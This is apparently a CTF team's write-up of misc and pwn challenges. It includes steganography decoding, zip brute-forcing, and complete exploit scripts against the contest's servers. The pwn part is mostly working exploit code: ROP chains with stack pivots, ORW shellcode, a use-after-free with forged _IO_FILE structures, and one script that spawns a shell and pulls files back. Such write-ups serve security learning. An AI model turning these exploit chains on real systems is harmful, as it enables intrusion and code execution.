BV1P62EYHEZd eyJ2IjozLCJuIjoiZmw0ZyIsInMiOiIiLCJoIjoiZGExMTcyNSIsIm0iOjkwLCJrIjo4MSwibWciOjIwMCwia2ciOjEzMCwibCI6NDMsInNsIjoxLCJmaGwiOlsiMjUyZjEwYyIsImFjYWM4NmMiLCJjYTk3ODExIiwiY2QwYWE5OCIsIjAyMWZiNTkiLCIyYzYyNDIzIiwiY2E5NzgxMSIsIjRlMDc0MDgiLCJlN2Y2YzAxIiwiMmM2MjQyMyIsIjI1MmYxMGMiLCI1ZmVjZWI2IiwiZWYyZDEyNyIsIjM5NzNlMDIiLCJjYTk3ODExIiwiNGIyMjc3NyIsImU3ZjZjMDEiLCI3OTAyNjk5IiwiMzk3M2UwMiIsIjRiMjI3NzciLCI3OTAyNjk5IiwiZWYyZDEyNyIsIjI1MmYxMGMiLCIzOTczZTAyIiwiY2E5NzgxMSIsImVmMmQxMjciLCJkNDczNWUzIiwiMjUyZjEwYyIsIjM5NzNlMDIiLCI2Yjg2YjI3IiwiM2UyM2U4MSIsImQ0NzM1ZTMiLCJlN2Y2YzAxIiwiMmU3ZDJjMCIsIjJlN2QyYzAiLCI0YjIyNzc3IiwiNWZlY2ViNiIsIjI1MmYxMGMiLCIyZTdkMmMwIiwiNGIyMjc3NyIsIjNmNzliYjciLCJkMTBiMzZhIiwiMDFiYTQ3MSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiMDg0ZmVkMCIsIjE4ZjUzODQiLCIxODlmNDAwIiwiZWY2Y2JkMiIsIjI3OTUyMTciLCJhOTI1M2RjIiwiNGM5NDQ4NSIsIjI1MmYxMGMiLCI4NWY5N2UwIl19

暂时无法在飞书文档外展示此内容

解码每一帧上面的小白点就行,做了统计发现是第24-40像素,对于每帧两字节

import cv2
import numpy as np
import os

def decode_white(frame):
    out = ""
    for i in range(16):
        if (frame[24+i][0] > 200):
            out += '1'
        else:
            out += '0'
    return out

def extract_pixels_from_video(video_path, output_dir):
    # 确保输出目录存在
    if not os.path.exists(output_dir):
        os.makedirs(output_dir)

    # 打开视频文件
    cap = cv2.VideoCapture(video_path)

    # 获取视频的帧宽度和高度
    frame_width = int(cap.get(3))
    frame_height = int(cap.get(4))
    res = ""
    frame_count = 0
    while True:
        # 读取视频帧
        ret, frame = cap.read()
        # 如果读取帧失败,则退出循环
        if not ret:
            break

        # 将帧转换为灰度图像(可选)
        # gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)

        # 获取帧的像素数据
        pixels = frame.reshape((-1, 3))[:224]  # 转换为二维数组,每一行是一个像素的RGB值
        if (frame_count > 3 and frame_count < 204):
            res += decode_white(pixels)
        # 将像素数据保存到文件中
        frame_filename = os.path.join(output_dir, f'frame_{frame_count}.txt')
        # 使用整数格式保存(如果是灰度图像,可以使用'%d'或'%f')
        np.savetxt(frame_filename, pixels, fmt='%d')

        frame_count += 1

    # 释放视频捕获对象
    cap.release()
    return res

if __name__ == "__main__":
    dir = os.listdir("./data/")
    for i in range(90):
        for j in dir:
            if (f"fl4g_{i}_90" in j):
                video_path = './data/' + j  # 替换为你的视频文件路径
                output_dir = 'output_pixels'  # 替换为你想要保存像素数据的目录

                res = extract_pixels_from_video(video_path, output_dir)
                res = hex(int(res, 2))[2:]
                print(bytes.fromhex(res[:2]).decode(), end="")
                break

Pvz

import zipfile
import pyzipper
import io
with open("how much.zip", "rb") as f:
    d = io.BytesIO(f.read())
def test(password):
    try:
        with pyzipper.AESZipFile(d, 'r', compression=pyzipper.ZIP_DEFLATED, encryption=pyzipper.WZ_AES) as extracted_zip:
             extracted_zip.extractall(pwd=password.encode())
        return True
    except KeyboardInterrupt as e:
        raise
    except RuntimeError as e:
        return False
    except:
        raise
        return False

import hashlib
import tqdm
for i in tqdm.tqdm(range(0,99999)):
    key = hashlib.md5(str(i).encode()).hexdigest()
    if test(key):
        print(i)
        print(key)
        break

密码738 217eedd1ba8c592db97d0dbe54c7adfc

img

img

D'`_q^K![YG{VDTveRc10qpnJ+*)G!~f1{d@-}v<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@">76Z:321U54-21*Non,+*#G'&%$d"y?w_uzsr8vunVrk1ongOe+ihgfeG]#[ZY^W\UZSwWVUNrRQ3IHGLEiCBAFE>=aA:9>765:981Uvu-2+O/.nm+$Hi'~}|B"!~}|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]\UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~<;:921U/u3,+*Non&%*)('&}C{cy?}|{zs[q7unVl2ponmleMib(fHG]b[Z~k

Malbolge

https://www.malbolge.doleczek.pl/

在线环境直接出flag

Streaming

Wireshark,手动Decode as RTP解析,得到H264参数为96,指定protocol H264之后即可得到

img

使用Lua脚本对H264流进行提取

img

得到的.264文件,直接使用VLC进行播放,得到第一部分

img

flag{3b3a9c08-
'flag{3b3a9c08-'

问就是脑脑又洞洞,flag1长度怎么看都是key,瞎试试出来了

img

mac的idot png用这项目解https://github.com/GGN-2015/macos_shadow_tank

img

另一个音频对着正常的mp4补个0x00文件头,发现是Apple QuickTime movie,黑白帧转二进制

img

import cv2
import binascii

video_capture = cv2.VideoCapture("s4cret.mp4")

while True:
    # 读取一帧
    ret, frame = video_capture.read()

    # 如果读取帧失败,则说明视频结束
    if not ret:
        break

    # 将图像转换为灰度图像
    gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)

    # 判断当前帧是黑色还是白色
    if cv2.countNonZero(gray_frame):
        print("0", end="")
    else:
        print("1", end="")

img

Input Page Walk

每张图片,裁切0x3B142后面的,然后发现是个btrfs

直接问gpt

img

img

然后挂载完成,发现文件目录格式如下

img

挨个看看readme.txt是桃花源记拿出来,其他的就是fcitx5的用户词典了 导入 导出

img

获得内容,有flag内容,猜测是按照桃花源记进行排序,gpt做一下就行了

# Rime user dictionary export
#@/db_name meow_emoji
#@/db_type userdb
#@/rime_version 1.11.2
#@/tick 20
#@/user_id qwq
f bian 1
2- bu 1
3a cai tong 1
ea chu ji 1
g(9 cong kou 3
ga cong tong 1
afdd fu xing 1
808a huo ran 1
-c88 kai lang 1
cb6a ping kuang 1
e- ren 2
e ru 1
la she chuan 1
-408 shu shi 1
06a8 tu di 1
8) l wu she 1
1 xia 1

img

PWN

signin

覆盖个伪随机数 还是ret2libc+栈迁移orw。。。

from pwn import *
import json
import base64
from ctypes import *                    #导入c函数库模块,可以在python中实现对C语言函数的引用

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "-d", ".", "wsl.exe", "-d", "Ubuntu", "bash", "-c"]
# context.terminal = ['tmux', 'splitw', '-h']

ifremote = 1
if ifremote == 1:
    p=remote("pwn-fb8bd77dbe.challenge.xctf.org.cn", 9999, ssl=True)
else:
    p = process('./vuln')

def debug():
    gdb.attach(p)
    pause()
elf=ELF('vuln')

libc=cdll.LoadLibrary("./libc.so.6")    #导入相应的动态链接库
libc.srand(1)
#debug()
p.send(b'\x00'*14+p32(1))
for i in range(100):
    payload = p8(libc.rand()%100+1)     
    p.sendafter(b'Input the authentication code:',payload)      

#debug()
p.sendlineafter(b'>>',p32(1))    
p.sendlineafter(b'Note: ',b'sekiro')            
putsgot=elf.got['puts']
putsplt=elf.plt['puts']
vuln=0x4013C0 
bss=0x404500

payload1=b'a'*0x108+p64(0x0000000000401893)+p64(putsgot)+p64(putsplt)+p64(vuln)
p.send(payload1)
p.recvline()
libc=elf.libc
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.symbols['puts']
rdi=0x0000000000401893
rsi2=0x0000000000401891

rdx=0x0000000000142c92+libcbase
open=libcbase+libc.symbols['open']
puts=libcbase+libc.symbols['puts']
read=libcbase+libc.symbols['read']
payload2=b'a'*0x100+p64(bss+0x100)+p64(rsi2)+2*p64(bss+0x108)+p64(0x4013DE )

p.send(payload2)
#debug()
payload3=p64(rdi)+p64(0x4046a0)+p64(rsi2)+p64(0)*2+p64(rdx)+p64(0)+p64(open)
payload3+=p64(rdi)+p64(3)+p64(rsi2)+p64(bss)*2+p64(rdx)+p64(0x50)+p64(read)
payload3+=p64(rdi)+p64(bss)+p64(puts)+b'/flag'
p.send(payload3)
print(hex(libcbase))

p.interactive()    

signin_revenge

ret2libc 栈迁移orw

from pwn import *
import json
import base64

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "-d", ".", "wsl.exe", "-d", "Ubuntu", "bash", "-c"]
# context.terminal = ['tmux', 'splitw', '-h']

ifremote = 1
if ifremote == 1:
    p = remote("pwn-b6a92dc2b1.challenge.xctf.org.cn", 9999, ssl=True)
else:
    p = process('./vuln')

def debug():
    gdb.attach(p)
    pause()
elf=ELF('vuln')
libc=elf.libc
putsgot=elf.got['puts']
putsplt=elf.plt['puts']
vuln=0x4012C0 
bss=0x404500
payload1=b'a'*0x108+p64(0x0000000000401393)+p64(putsgot)+p64(putsplt)+p64(vuln)
p.sendafter(b'e and pwn!',payload1)
p.recvline()
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.symbols['puts']
rdi=0x0000000000401393
rsi2=0x0000000000401391
rdx=0x0000000000142c92+libcbase
open=libcbase+libc.symbols['open']
puts=libcbase+libc.symbols['puts']
read=libcbase+libc.symbols['read']
payload2=b'a'*0x100+p64(bss+0x100)+p64(rsi2)+2*p64(bss+0x108)+p64(0x4012DE)

p.send(payload2)
#debug()
payload3=p64(rdi)+p64(0x4046a0)+p64(rsi2)+p64(0)*2+p64(rdx)+p64(0)+p64(open)
payload3+=p64(rdi)+p64(3)+p64(rsi2)+p64(bss)*2+p64(rdx)+p64(0x50)+p64(read)
payload3+=p64(rdi)+p64(bss)+p64(puts)+b'./flag'
p.send(payload3)
print(hex(libcbase))

p.interactive()    

QWEN

又是栈溢出

过检测

p.sendline('1 1')
p.sendline('2 2')
p.sendline('3 3')
p.sendline('4 4')
p.sendline('5 5')
p.sendline('0 0')

触发报错 改地址到到open后门读/proc/self/maps获取地址,然后再一次通过报错栈迁移到0x30输入那执行rop

from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
from bisect import *
import json

# p = process(["/mnt/d/desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-linux-x86-64.so.2", "./pwn"],
        # env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn')
p=remote("pwn-9e82c9c002.challenge.xctf.org.cn", 9999, ssl=True)
# p=remote('119.23.41.54',37403)
# p = process(['qemu-riscv64','-g','1234','./pwn'])
# p = process(['qemu-riscv64','-g','1234','-L','/usr/riscv64-linux-gnu','./pwn'])
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-linux-x86-64.so.2')

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

p.recvuntil(':')
p.sendline('1 1')
p.recvuntil(':')
p.sendline('2 2')
p.recvuntil(':')
p.sendline('3 3')
p.recvuntil(':')
p.sendline('4 4')
p.recvuntil(':')
p.sendline('5 5')
p.recvuntil(':')
p.sendline('0 0')

p.recvuntil('Do you think this victory is easy? Is there anything you want to say?')
payload = b'a'*8 + p16(0x1508)
p.send(payload)
p.recvuntil('Do you want to end the game [Y/N]')
p.sendline(b'N')
p.recvuntil(':')
p.sendline(b'0 -')

libc2=cdll.LoadLibrary("./libc.so.6")

p.sendlineafter(b'nistrator key',str(libc2.rand()))
p.recvuntil('[*] Administrator successfully logged in!')
p.sendline(b'/proc/self/maps')
libc_base = int(p.recvuntil('-7f')[-15:-3],16)
lg("libc_base")

ogg = [0x4f302, 0x4f2a5, 0x4f302, 0x10a2fc]
for i in range(len(ogg)):
    ogg[i] += libc_base
ret = libc_base + 0x00000000000c76a2
realloc = libc_base + libc.symbols['realloc']
system = libc_base + libc.symbols['system']
leave_ret = libc_base + 0x00000000000547e3
add_rsp = libc_base + 0x000000000010fc5e
pop_rdi = libc_base + 0x00000000001099c1
binsh = libc_base + next(libc.search(b'/bin/sh'))

p.recvuntil(':')
p.sendline('1 1')
p.recvuntil(':')
p.sendline('2 2')
p.recvuntil(':')
p.sendline('3 3')
p.recvuntil(':')
p.sendline('4 4')
p.recvuntil(':')
p.sendline('5 5')
p.recvuntil(':')
p.sendline('0 0')

p.recvuntil('Do you think this victory is easy? Is there anything you want to say?')
payload = b'a'*8 + p16(0x1508)
p.send(payload)
p.recvuntil('Do you want to end the game [Y/N]')
p.sendline(b'N')
p.recvuntil(':')
p.sendline(b'0 -')
p.sendlineafter(b'nistrator key',str(libc2.rand()))
p.recvuntil('[*] Administrator successfully logged in!')
p.sendline(b'/')

p.sendline('1 1')
p.sendline('2 2')
p.sendline('3 3')
p.sendline('4 4')
p.sendline('5 5')
p.sendline('0 0')
p.recvuntil('Do you think this victory is easy? Is there anything you want to say?')
payload = b'a'*8 + p64(add_rsp) + b'a'*8 + p64(pop_rdi) + p64(binsh) + p64(ogg[0])
p.send(payload)
p.recvuntil('Do you want to end the game [Y/N]')
p.sendline(b'N')
p.recvuntil(':')

p.sendline(b'0 -')
p.sendline("cd /home/ctf")
p.recv(timeout = 1)
p.sendline("cat pwn2")

pwn2 = p.recvall(timeout=3)
with open("pwn2", "wb") as f:
    f.write(pwn2)

p.interactive()

里面还有pwn2(

暂时无法在飞书文档外展示此内容

提取出来按照他的逻辑c了一个归档

img

提取上去发现不对 再看了一下应该还是压缩处理过的 毕竟只有30个字节 试了下压缩pwn.maps的时候发现他会压缩数字

同时发现这里有点端倪 刚好是3 变成32个字节就合适了

img

flag{XjpNn8bX333pECNUXwyvocIrfFbNxlSg}

ezcode

22字节orw

开始想的mprotect +read但怎么都不行 一直都是23字节多一个

于是打算直接不改动为7的rdx了 直接把它当作read的参数

并且为了多写一些 把rdx换成0xf 也能成功可写可执行

并且

img

多一些可写的窗口

然后再去read ->orw

from pwn import *
import json
import base64

# 设置 context
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "-d", ".", "wsl.exe", "-d", "Ubuntu", "bash", "-c"]

# 连接方式:远程或本地
ifremote = 1
if ifremote == 1:
    p =remote("pwn-185fa431d6.challenge.xctf.org.cn", 9999, ssl=True)
else:
    p = process('./vuln')

# 定义调试函数
def debug():
    gdb.attach(p)
    pause()

# 准备shellcode(示例:/bin/sh)
shellcode = '66B80A004489FFBA0F0000000F0531C031FF89CE0F05'

# 将shellcode放入字典,并转换为JSON格式
payload = {
    "shellcode": shellcode
}

# 将字典转换为JSON字符串
payload_json = json.dumps(payload)

#
# 发送输入
#debug()
p.sendlineafter(b'e enter your input:\n',payload_json)

shellcode = asm('''
    xor eax,eax
    xchg   edx,ebx
    syscall
    ''')

p.sendafter(b'loaded!',9*b'\x90'+shellcode)
# 切换到交互模式
shellcode = shellcraft.open('/flag')            
shellcode += shellcraft.read('rax','r15',100) 
shellcode += shellcraft.write(1,'r15',100)  
p.send(b'\x90'*0x30+b"\x48\xC7\xC4\x00\x81\x99\x09"+asm(shellcode))
p.interactive()

gruess_book

Uaf直接打

from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
from bisect import *
import json

# p = process(["./ld-linux-x86-64.so.2", "./pwn"],
        # env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn')
p=remote("pwn-1d7f57c95d.challenge.xctf.org.cn", 9999, ssl=True)
# p=remote('119.23.41.54',37403)
# p = process(['qemu-riscv64','-g','1234','./pwn'])
# p = process(['qemu-riscv64','-g','1234','-L','/usr/riscv64-linux-gnu','./pwn'])
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-linux-x86-64.so.2')

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

def menu(index):
    p.recvuntil('>')
    p.sendline(str(index))

def add(index, size):
    menu(1)
    p.recvuntil('input your index')
    p.sendline(str(index))
    p.recvuntil('input your size')
    p.sendline(str(size))

def edit(index, content):
    menu(2)
    p.recvuntil('input your index')
    p.sendline(str(index))
    p.recvuntil('nput your content')
    p.send(content)

def free(index):
    menu(3)
    p.recvuntil('input your index')
    p.sendline(str(index))

def show(index):
    menu(4)
    p.recvuntil('input your index')
    p.sendline(str(index))

add(0,0x510)
add(1,0x500)
add(2,0x500)
add(3,0x500)

free(0)
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x21ace0
lg("libc_base")
large = libc_base + 0x21ace0
target = libc_base + 0x21c000

add(4,0x1000)
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
edit(0, p64(large)*2 + p64(0) + p64(_IO_list_all - 0x20))
free(2)
add(5,0x1000)

fake_io_read = flat({
    0x0: 0x8000 | 0x40 | 0x1000, #_flags
    0x20: target, #_IO_write_base
    0x28: target + 0x500, #_IO_write_ptr
    0x68: target, #_chain
    0x70: 0, # _fileno
    0xc0: 0, #_modes
    0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')

edit(2,fake_io_read[0x10:])

menu(5)
p.recvuntil('bye~')

payload = b""
fake_io_write = flat({
    0x00: 0x8000 | 0x800 | 0x1000, #_flags
    0x20: libc_base+libc.symbols["environ"], #_IO_write_base
    0x28: libc_base+libc.symbols["environ"] + 8, #_IO_write_ptr
    0x68: target + 0x100, #_chain
    0x70: 1, # _fileno
    0xc0: 0, #_modes
    0xd8: libc_base + libc.symbols['_IO_file_jumps'], #_vtables
}, filler=b'\x00')
payload = fake_io_write.ljust(0x100, b'\x00')

fake_io_read = flat({
    0x00: 0x8000 | 0x40 | 0x1000, #_flags
    0x20: target + 0x200, #_IO_write_base
    0x28: target + 0x500, #_IO_write_ptr
    0x68: target + 0x200, #_chain
    0x70: 0, # _fileno
    0xc0: 0, #_modes
    0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
payload += fake_io_read.ljust(0x100, b'\x00')

sleep(0.1)
p.send(payload)

stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
target = stack - 712 - 8
lg("stack")
lg("target")

fake_io_read = flat({
    0x00: 0x8000 | 0x40 | 0x1000, #_flags
    0x20: target, #_IO_write_base
    0x28: target + 0x200, #_IO_write_ptr
    0x68: 0, #_chain
    0x70: 0, # _fileno
    0xc0: 0, #_modes
    0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')

sleep(0.1)
p.send(fake_io_read)

pop_rdi = 0x000000000002a3e5 + libc_base
pop_rsi = 0x000000000016333a + libc_base
pop_rdx_rbx = 0x00000000000904a9 + libc_base
execve = libc_base + libc.symbols['execve']
binsh = libc_base + next(libc.search(b"/bin/sh"))

payload = flat([
    pop_rdi, binsh,
    pop_rsi, 0,
    pop_rdx_rbx, 0, 0,
    execve,
])

sleep(0.1)
p.send(payload)

p.interactive()

Crypto

xor

img

  • SCTF 2024 By W&M
  • 强网杯 2024 By W&M
取消回复

说点什么?

© 2025 W&M Team. Using Typecho & Moricolor.